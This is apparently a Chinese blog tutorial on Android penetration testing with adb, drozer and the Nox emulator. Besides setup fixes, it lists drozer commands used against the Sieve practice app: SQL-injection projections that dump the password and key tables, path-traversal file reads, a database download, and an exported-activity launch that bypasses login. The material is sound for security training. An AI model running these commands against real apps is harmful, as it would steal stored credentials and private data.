移动渗透测试(dozer,adb,夜神模拟器)

1、adb介绍:(Android Debug Bridge)android调试桥梁,协助开发人员在开发android应用的过程中更快更好的调试apk,因此adb具有安装卸载apk、拷贝推送文件、查看设备硬件信息、查看应用程序占用资源、在设备执行shell命令等功能;
1.1设置adb.exe的环境变量
移动渗透测试(dozer,adb,夜神模拟器)_第1张图片1.2、 遇到问题:

C:\Users\m1521>adb devices
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
List of devices attached

1.3、解决办法:用USB线连接手机,Android 设备的开发者选项和 USB 调试模式要开启。可以到「设置」-「开发者选项」-「Android 调试」查看,“如果在设置里找不到开发者选项,那需要通过一个彩蛋来让它显示出来:在「设置」-「关于手机」连续点击「版本号」7 次。”

C:\Users\m1521>adb devices
List of devices attached
8BN0217C11000229        device

1.4、adb的常用命令(参考这里)

adb start-server  启动 adb server 命令
adb kill-server  停止 adb server 命令
adb shell 进入adb运行环境
adb version  查看 adb 版本
adb devices   查询已连接设备/模拟器(需要打开开发者的usb调试才可以)
adb root 以root权限重启adb
adb shell pm list packages [-f] [-d] [-e] [-s] [-3] [-i] [-u] [--user USER_ID] [FILTER]  查看应用列表的基本命令
adb install [-lrtsdg]  安装apk
    -r 覆盖安装,保留数据和缓存文件
    -d 解决低版本version问题
    -s 安装apk到sd卡
adb uninstall -k  卸载apk,-k的作用为卸载软件但是保留配置和缓存文件

2、安装agent.apk
首先下载drozer的安装包,其中 setup.exe 为Windows主机的安装文件 ;agent.apk 为调试用的安卓手机安装文件。直接运行 setup.exe 进行安装,
agent.apk安装到所要调试的安卓手机中或者虚拟机中 。安装完毕之后,在安卓手机上运行agent.apk,并开启监听
移动渗透测试(dozer,adb,夜神模拟器)_第2张图片2.1、adb shell 命令,可以shell连接手机
移动渗透测试(dozer,adb,夜神模拟器)_第3张图片
3、运行dozer
drozer Server默然监听的为31415端口,所以需要在主机上同样与31415端口进行通信。
本地电脑上调用adb执行命令:adb forward tcp:31415 tcp:31415 进行端口转发
正常情况下到drozer安装路径下运行 :drozer console connect 会显示如下界面,之后即可正常运用drozer进行调试Android应用。
在这里插入图片描述
条件:Android上agent.apk开启,usb调试开启
3.1、问题:

D:\1_security_tools\drozer>drozer.bat console connect
Could not find java. Please ensure that it is installed and on your PATH.

If this error persists, specify the path in the ~/.drozer_config file:

    [executables]
    java = C:\path\to\java
[Errno 10054]

3.2、解决办法:

 [executables]

java = C:\ProgramFiles\Java\jdk1.8.0_71\bin\java.exe

javac = C:\ProgramFiles\Java\jdk1.8.0_71\bin\javac.exe

将上述文件写入1.txt中,用rename 1.txt .drozer_config将1.txt文件名改为.drozer_config,将.drozer_config文件保存在"c:\users\你的用户名"文件夹下。

移动渗透测试(dozer,adb,夜神模拟器)_第4张图片如果使用夜神模拟器,应该:adb connect 127.0.0.1:62001
3.2列出功能模块
使用命令:dz > list 列出drozer所有功能模块:
移动渗透测试(dozer,adb,夜神模拟器)_第5张图片3.3、使用adb列出所有的包
移动渗透测试(dozer,adb,夜神模拟器)_第6张图片使用drozer命令:run app.package.list -f 搜索app所使用的包名:
移动渗透测试(dozer,adb,夜神模拟器)_第7张图片
输入命令:run app.package.info -a 查看app包的信息:
移动渗透测试(dozer,adb,夜神模拟器)_第8张图片4、查看app可被攻击点
输入命令:run app.package.attacksurface
移动渗透测试(dozer,adb,夜神模拟器)_第9张图片
5、4大组件介绍:
(1)一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。
Activity之间通过Intent进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据。
可以看到在activity组件中,android.exported=“true”,说明组件可被导出,存在信息泄露的风险
输入命令:run app.activity.info -a 查看对外的activity组件信息:

输入命令:run app.activity.start --component 来绕过登陆页面,直接进入到后台,存在越权:
(2)BroadcastReceive广播接收器应用,可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)
进行接收并做出响应。

更多drozer的命令

1.连接drozer:
drozer.bat console connect

2.列出详细APP信息:
run app.package.info -a com.xxx.xxxx

3.查看APP的配置信息
run app.package.manifest com.xxx.xxxx

3.分析是否存在攻击攻击点
run app.package.attacksurface com.xxx.xxxx

4.查看暴露的provider权限
run app.provider.info -a com.xxx.xxxx

5.获取Activity信息
命令 run app.activity.info -a
示例 run app.activity.info -a com.xxx.xxxx

6.检测SQL注入
命令 run scanner.provider.injection -a
示例 run scanner.provider.injection -a com.xxx.xxxx

7.检测目录遍历
命令 run scanner.provider.traversal -a
示例 run scanner.provider.traversal -a com.xxx.xxxx

8.获取所有可访问的Uri
命令 run scanner.provider.finduris -a
示例 run scanner.provider.finduris -a com.xxx.xxxx

9.SQL注入
命令 run app.provider.query [--projection] [--selection]
示例 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

列出所有表 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
获取单表(如Key)的数据 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

10.读取文件系统下的文件
示例 run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

11.下载数据库文件到本地
示例 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db 

> list  //列出目前可用的模块,也可以使用ls
> help app.activity.forintent       //查看指定模块的帮助信息
> run app.package.list      //列出android设备中安装的app
> run app.package.info -a com.android.browser       //查看指定app的基本信息
> run app.activity.info -a com.android.browser      //列出app中的activity组件
> run app.activity.start --action android.intent.action.VIEW --data-uri  http://www.google.com  //开启一个activity,例如运行浏览器打开谷歌页面
> run scanner.provider.finduris -a com.sina.weibo       //查找可以读取的Content Provider
> run  app.provider.query content://settings/secure --selection "name='adb_enabled'"    //读取指定Content Provider内容
> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo     //列出指定文件路径里全局可写/可读的文件
> run shell.start       //shell操作
> run tools.setup.busybox       //安装busybox
> list auxiliary        //通过web的方式查看content provider组件的相关内容
> help auxiliary.webcontentresolver     //webcontentresolver帮助
> run auxiliary.webcontentresolver      //执行在浏览器中以http://localhost:8080即可访问
以sieve示例
> run app.package.list -f sieve         //查找sieve应用程序
> run app.package.info -a com.mwr.example.sieve         //显示app.package.info命令包的基本信息
> run app.package.attacksurface com.mwr.example.sieve   //确定攻击面
> run app.activity.info -a com.mwr.example.sieve         //获取activity信息
> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList     //启动pwlist
> run app.provider.info -a com.mwr.example.sieve        //提供商信息
> run scanner.provider.finduris -a com.mwr.example.sieve        //扫描所有能访问地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical  //查看DBContentProvider/Passwords这条可执行地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"   //检测注入
> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts    //查看读权限数据
> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据
> run scanner.provider.injection -a com.mwr.example.sieve       //扫描注入地址
> run scanner.provider.traversal -a com.mwr.example.sieve
> run app.service.info -a com.mwr.example.sieve         //查看服务

参考文章和文章

你可能感兴趣的:(apk,移动端渗透)